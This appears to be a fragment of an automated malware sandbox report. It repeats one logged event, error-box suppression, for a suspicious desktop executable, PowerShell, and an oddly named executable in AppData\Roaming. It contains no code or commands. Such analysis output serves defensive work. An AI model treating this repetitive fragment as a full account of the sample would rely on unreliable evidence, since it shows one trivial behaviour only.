Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z1E-catalogSamples.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\vZkoWbol.exe	Process information set: NOOPENFILEERRORBOX
